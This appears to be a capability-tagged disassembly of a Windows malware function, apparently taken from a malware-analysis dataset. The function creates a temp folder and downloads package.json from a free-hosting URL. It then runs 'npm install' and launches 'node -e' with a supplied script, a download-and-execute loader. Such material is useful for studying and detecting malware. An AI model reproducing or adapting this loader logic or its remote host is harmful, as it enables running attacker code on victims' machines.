Function at 0x40b270
Capabilities:
Create directory
Create process on windows
Download url
Execute command
Get common file path
Receive data
Set current directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4ac78d
mov eax, dword fs:[0]
push eax
sub esp, 0x348
mov eax, dword [0x4cfaa8]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x318], 0
lea eax, [ebp - 0x218]
mov dword [ebp - 4], 0
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov dword [ebp - 0x334], 0
xor eax, eax
mov dword [ebp - 0x324], 0
push 0x25
push 0x4b5060
lea ecx, [ebp - 0x334]
mov dword [ebp - 0x320], 7
mov word [ebp - 0x334], ax
mov byte [ebp - 4], al
call fcn.0040e870
lea esi, [ebp - 0x218]
mov byte [ebp - 4], 2
lea ecx, [esi + 2]
nop dword [eax]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x40b310
mov edi, dword [ebp - 0x320]
sub esi, ecx
mov ecx, dword [ebp - 0x324]
mov eax, edi
sar esi, 1
sub eax, ecx
mov dword [ebp - 0x318], esi
mov dword [ebp - 0x31c], ecx
cmp esi, eax
ja 0x40b40e
lea eax, [ecx + esi]
cmp edi, 8
mov dword [ebp - 0x324], eax
lea edx, [ebp - 0x334]
cmovae edx, dword [ebp - 0x334]
lea eax, [ebp - 0x218]
lea eax, [eax + esi*2]
mov dword [ebp - 0x33c], edx
cmp eax, edx
jbe 0x40b3a0
lea eax, [edx + ecx*2]
lea ecx, [ebp - 0x218]
cmp ecx, eax
ja 0x40b3a0
mov eax, ecx
cmp edx, eax
ja 0x40b38c
xor edi, edi
mov dword [ebp - 0x338], edi
jmp 0x40b3a8
mov edi, edx
lea eax, [ebp - 0x218]
sub edi, eax
sar edi, 1
mov dword [ebp - 0x338], edi
jmp 0x40b3a8
mov edi, esi
mov dword [ebp - 0x338], esi
mov eax, dword [ebp - 0x31c]
lea ecx, [edx + esi*2]
lea eax, [eax*2 + 2]
push eax
push edx
push ecx
call sub.VCRUNTIME140.dll_memmove
add edi, edi
lea eax, [ebp - 0x218]
push edi
push eax
push dword [ebp - 0x33c]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebp - 0x318]
lea edx, [ebp - 0x218]
add eax, dword [ebp - 0x338]
sub esi, dword [ebp - 0x338]
mov ecx, dword [ebp - 0x33c]
add ecx, edi
lea edx, [edx + eax*2]
lea eax, [esi + esi]
push eax
push edx
push ecx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0x24
lea eax, [ebp - 0x334]
jmp 0x40b429
push esi
lea eax, [ebp - 0x218]
push eax
push ecx
push dword [ebp - 0x318]
lea ecx, [ebp - 0x334]
push esi
call fcn.00417850
mov dword [ebp - 0x248], 0
mov dword [ebp - 0x238], 0
mov dword [ebp - 0x234], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x248], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x238], xmm0
xor ecx, ecx
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x320]
cmp ecx, 8
jb 0x40b4b7
mov edx, dword [ebp - 0x334]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40b4ad
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40b4ad
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004a964d
add esp, 8
xor eax, eax
mov dword [ebp - 0x324], 0
cmp dword [ebp - 0x234], 8
mov word [ebp - 0x334], ax
lea eax, [ebp - 0x248]
cmovae eax, dword [ebp - 0x248]
push 0
push eax
mov dword [ebp - 0x320], 7
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov dword [ebp - 0x290], 0
push 0x36
xor eax, eax
mov dword [ebp - 0x280], 0
push str.http:__pitbothosting101.000webhostapp.com_package.json
lea ecx, [ebp - 0x290]
mov dword [ebp - 0x27c], 7
mov word [ebp - 0x290], ax
mov byte [ebp - 4], 6
call fcn.0040e870
push str._script.js
lea edx, [ebp - 0x248]
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x304]
call fcn.0040fe20
push str.package.json
lea edx, [ebp - 0x248]
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x2a8]
call fcn.0040fe20
add esp, 8
cmp dword [ebp - 0x294], 8
lea ecx, [ebp - 0x2a8]
push 0
cmovae ecx, dword [ebp - 0x2a8]
lea eax, [ebp - 0x290]
cmp dword [ebp - 0x27c], 8
push 0
cmovae eax, dword [ebp - 0x290]
push ecx
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov dword [ebp - 0x278], 0
push 0xb
xor eax, eax
mov dword [ebp - 0x268], 0
push str.npm_install
lea ecx, [ebp - 0x278]
mov dword [ebp - 0x264], 7
mov word [ebp - 0x278], ax
mov byte [ebp - 4], 0xa
call fcn.0040e870
mov byte [ebp - 4], 0xc
lea eax, [ebp - 0x248]
cmp dword [ebp - 0x234], 8
mov edi, dword [ebp - 0x238]
cmovae eax, dword [ebp - 0x248]
mov dword [ebp - 0x260], 0
mov dword [ebp - 0x250], 0
mov dword [ebp - 0x24c], 0
mov dword [ebp - 0x318], eax
cmp edi, 8
jae 0x40b63d
movups xmm0, xmmword [eax]
mov dword [ebp - 0x24c], 7
mov esi, 7
movups xmmword [ebp - 0x260], xmm0
jmp 0x40b6c0
mov esi, edi
mov eax, accept
or esi, 7
cmp esi, eax
cmova esi, eax
lea eax, [esi + 1]
cmp eax, 0x7fffffff
ja 0x40be2e
add eax, eax
cmp eax, 0x1000
jb 0x40b68a
lea ecx, [eax + 0x23]
cmp ecx, eax
jbe 0x40be2e
push ecx
call fcn.004a93c7
add esp, 4
test eax, eax
je 0x40be01
lea ecx, [eax + 0x23]
and ecx, 0xffffffe0
mov dword [ecx - 4], eax
jmp 0x40b69d
test eax, eax
je 0x40b69b
push eax
call fcn.004a93c7
add esp, 4
mov ecx, eax
jmp 0x40b69d
xor ecx, ecx
lea eax, [edi*2 + 2]
mov dword [ebp - 0x260], ecx
push eax
push dword [ebp - 0x318]
push ecx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov dword [ebp - 0x24c], esi
mov dword [ebp - 0x250], edi
cmp esi, 8
lea eax, [ebp - 0x260]
cmovae eax, dword [ebp - 0x260]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
cmp dword [ebp - 0x264], 8
lea eax, [ebp - 0x278]
cmovae eax, dword [ebp - 0x278]
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wsystem]
add esp, 4
mov dword [ebp - 0x230], 0
push 9
xor eax, eax
mov dword [ebp - 0x220], 0
push str.node__e__
lea ecx, [ebp - 0x230]
mov dword [ebp - 0x21c], 7
mov word [ebp - 0x230], ax
mov byte [ebp - 4], 0xd
call fcn.0040e870
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp + 8]
mov esi, dword [ebp + 0x18]
jb 0x40b74b
mov edi, dword [ebp + 8]
add esi, edi
jmp 0x40b750
add esi, ecx
lea edi, [ebp + 8]
mov dword [ebp - 0x334], 0
xor eax, eax
mov byte [ebp - 4], 0xf
mov word [ebp - 0x334], ax
mov ecx, 7
mov eax, esi
mov dword [ebp - 0x320], ecx
xor edx, edx
sub eax, edi
mov dword [ebp - 0x324], edx
cmp eax, ecx
jbe 0x40b7a2
push dword [ebp - 0x318]
lea ecx, [ebp - 0x334]
push eax
call fcn.0041a5c0
mov ecx, dword [ebp - 0x320]
xor edx, edx
mov dword [ebp - 0x324], edx
lea eax, [ebp - 0x334]
mov dword [ebp - 0x31c], eax
mov byte [ebp - 4], 0x11
cmp edi, esi
je 0x40b823
nop word [eax + eax]
movsx ax, byte [edi]
movzx eax, ax
mov dword [ebp - 0x318], eax
cmp edx, ecx
jae 0x40b7fd
lea eax, [edx + 1]
cmp ecx, 8
mov ecx, dword [ebp - 0x318]
mov dword [ebp - 0x324], eax
lea eax, [ebp - 0x334]
cmovae eax, dword [ebp - 0x334]
mov word [eax + edx*2], cx
xor ecx, ecx
mov word [eax + edx*2 + 2], cx
jmp 0x40b810
push eax
push dword [ebp - 0x318]
push ecx
lea ecx, [ebp - 0x334]
call fcn.004103c0
mov edx, dword [ebp - 0x324]
inc edi
cmp edi, esi
je 0x40b823
mov ecx, dword [ebp - 0x320]
jmp 0x40b7c0
mov dword [ebp - 0x354], 0
xor edi, edi
mov byte [ebp - 4], 0x13
xor eax, eax
mov dword [ebp - 0x344], edi
cmp dword [ebp - 0x320], 8
lea esi, [ebp - 0x334]
mov ecx, 7
mov word [ebp - 0x354], ax
mov dword [ebp - 0x340], ecx
mov dword [ebp - 0x318], 3
jb 0x40b870
mov esi, dword [ebp - 0x334]
mov eax, esi
jmp 0x40b876
lea eax, [ebp - 0x334]
lea eax, [eax + edx*2]
mov dword [ebp - 0x33c], esi
mov dword [ebp - 0x338], eax
cmp esi, eax
je 0x40b942
nop dword [eax]
movzx edx, word [esi]
mov dword [ebp - 0x31c], edx
cmp edx, 0x22
jne 0x40b8ea
cmp edi, ecx
jae 0x40b8c4
lea eax, [edi + 1]
cmp ecx, 8
mov dword [ebp - 0x344], eax
lea eax, [ebp - 0x354]
cmovae eax, dword [ebp - 0x354]
mov dword [eax + edi*2], 0x5c
jmp 0x40b8de
push 0x5c
push dword [ebp - 0x318]
push ecx
lea ecx, [ebp - 0x354]
call fcn.004103c0
mov edx, dword [ebp - 0x31c]
mov ecx, dword [ebp - 0x340]
mov edi, dword [ebp - 0x344]
cmp edi, ecx
jae 0x40b914
lea eax, [edi + 1]
cmp ecx, 8
mov dword [ebp - 0x344], eax
lea eax, [ebp - 0x354]
cmovae eax, dword [ebp - 0x354]
xor ecx, ecx
mov word [eax + edi*2], dx
mov word [eax + edi*2 + 2], cx
jmp 0x40b927
push edx
push dword [ebp - 0x318]
push ecx
lea ecx, [ebp - 0x354]
call fcn.004103c0
mov edi, dword [ebp - 0x344]
add esi, 2
mov ecx, dword [ebp - 0x340]
cmp esi, dword [ebp - 0x338]
jne 0x40b890
mov eax, dword [ebp - 0x21c]
lea edx, [ebp - 0x354]
cmp ecx, 8
mov ecx, dword [ebp - 0x220]
mov dword [ebp - 0x31c], ecx
cmovae edx, dword [ebp - 0x354]
sub eax, ecx
cmp edi, eax
ja 0x40b9a8
cmp dword [ebp - 0x21c], 8
lea eax, [edi + ecx]
lea esi, [ebp - 0x230]
mov dword [ebp - 0x220], eax
cmovae esi, dword [ebp - 0x230]
lea eax, [edi + edi]
push eax
push edx
lea ecx, [esi + ecx*2]
push ecx
call sub.VCRUNTIME140.dll_memmove
mov eax, dword [ebp - 0x31c]
add esp, 0xc
add eax, edi
xor ecx, ecx
mov word [esi + eax*2], cx
jmp 0x40b9bc
push edi
push edx
push dword [ebp - 0x318]
lea ecx, [ebp - 0x230]
push edi
call fcn.00410b60
mov ecx, dword [ebp - 0x354]
mov byte [ebp - 4], 0x12
mov eax, dword [ebp - 0x340]
cmp eax, 8
jb 0x40b9fc
lea edx, [eax*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40b9f2
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40ba32
push edx
push ecx
call fcn.004a964d
add esp, 8
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x320]
cmp ecx, 8
jb 0x40ba42
mov edx, dword [ebp - 0x334]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40ba38
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40ba38
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004a964d
add esp, 8
mov edx, dword [ebp - 0x21c]
mov eax, edx
mov ecx, dword [ebp - 0x220]
sub eax, ecx
cmp eax, 1
jb 0x40ba79
lea eax, [ecx + 1]
cmp edx, 8
mov dword [ebp - 0x220], eax
lea eax, [ebp - 0x230]
cmovae eax, dword [ebp - 0x230]
mov dword [eax + ecx*2], 0x22
jmp 0x40ba93
push 1
push 0x4b5180
push dword [ebp - 0x318]
lea ecx, [ebp - 0x230]
push 1
call fcn.00410b60
cmp dword [ebp - 0x21c], 8
lea ecx, [ebp - 0x314]
push ecx
lea ecx, [ebp - 0x2ec]
mov dword [ebp - 0x2ec], 0x44
push ecx
push 0
push 0
push 0
push 0
xorps xmm0, xmm0
lea eax, [ebp - 0x230]
cmovae eax, dword [ebp - 0x230]
push 0
push 0
push eax
push 0
movlpd qword [ebp - 0x2e8], xmm0
movlpd qword [ebp - 0x2e0], xmm0
movlpd qword [ebp - 0x2d8], xmm0
movlpd qword [ebp - 0x2d0], xmm0
movlpd qword [ebp - 0x2c8], xmm0
movlpd qword [ebp - 0x2c0], xmm0
movlpd qword [ebp - 0x2b8], xmm0
movlpd qword [ebp - 0x2b0], xmm0
movups xmmword [ebp - 0x314], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x40bb46
push 0xffffffffffffffff
push dword [ebp - 0x314]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x314]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x310]
call esi
cmp dword [ebp - 0x21c], 8
lea eax, [ebp - 0x230]
mov dword [ebp - 0x220], 0
cmovae eax, dword [ebp - 0x230]
xor ecx, ecx
push 0x64
mov word [eax], cx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x21c]
cmp ecx, 8
jb 0x40bbb1
mov edx, dword [ebp - 0x230]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40bba7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40be01
push ecx
push edx
call fcn.004a964d
add esp, 8
mov ecx, dword [ebp - 0x24c]
xor eax, eax
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x21c], 7
mov word [ebp - 0x230], ax
cmp ecx, 8
jb 0x40bc0e
mov edx, dword [ebp - 0x260]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40bc04
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40be01
push ecx
push edx
call fcn.004a964d
add esp, 8
mov ecx, dword [ebp - 0x264]
xor eax, eax
mov dword [ebp - 0x250], 0
mov dword [ebp - 0x24c], 7
mov word [ebp - 0x260], ax
cmp ecx, 8
jb 0x40bc6b
mov edx, dword [ebp - 0x278]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40bc61
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40be01
push ecx
push edx
call fcn.004a964d
add esp, 8
mov ecx, dword [ebp - 0x294]
xor eax, eax
mov dword [ebp - 0x268], 0
mov dword [ebp - 0x264], 7
mov word [ebp - 0x278], ax
cmp ecx, 8
jb 0x40bcc8
mov edx, dword [ebp - 0x2a8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40bcbe
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40be01
push ecx
push edx
call fcn.004a964d
add esp, 8
mov ecx, dword [ebp - 0x2f0]
xor eax, eax
mov dword [ebp - 0x298], 0
mov dword [ebp - 0x294], 7
mov word [ebp - 0x2a8], ax
cmp ecx, 8
jb 0x40bd25
mov edx, dword [ebp - 0x304]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40bd1b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40be01
push ecx
push edx
call fcn.004a964d
add esp, 8
mov ecx, dword [ebp - 0x27c]
cmp ecx, 8
jb 0x40bd65
mov edx, dword [ebp - 0x290]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40bd5b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40be01
push ecx
push edx
call fcn.004a964d
add esp, 8
mov ecx, dword [ebp - 0x234]
xor eax, eax
mov dword [ebp - 0x280], 0
mov dword [ebp - 0x27c], 7
mov word [ebp - 0x290], ax
cmp ecx, 8
jb 0x40bdbe
mov edx, dword [ebp - 0x248]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40bdb4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40be01
push ecx
push edx
call fcn.004a964d
add esp, 8
mov ecx, dword [ebp + 0x1c]
xor eax, eax
mov dword [ebp - 0x238], 0
mov dword [ebp - 0x234], 7
mov word [ebp - 0x248], ax
cmp ecx, 0x10
jb 0x40be11
mov edx, dword [ebp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40be07
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40be07
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004a964d
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004a93ad
mov esp, ebp
pop ebp
ret
call fcn.00401500
int3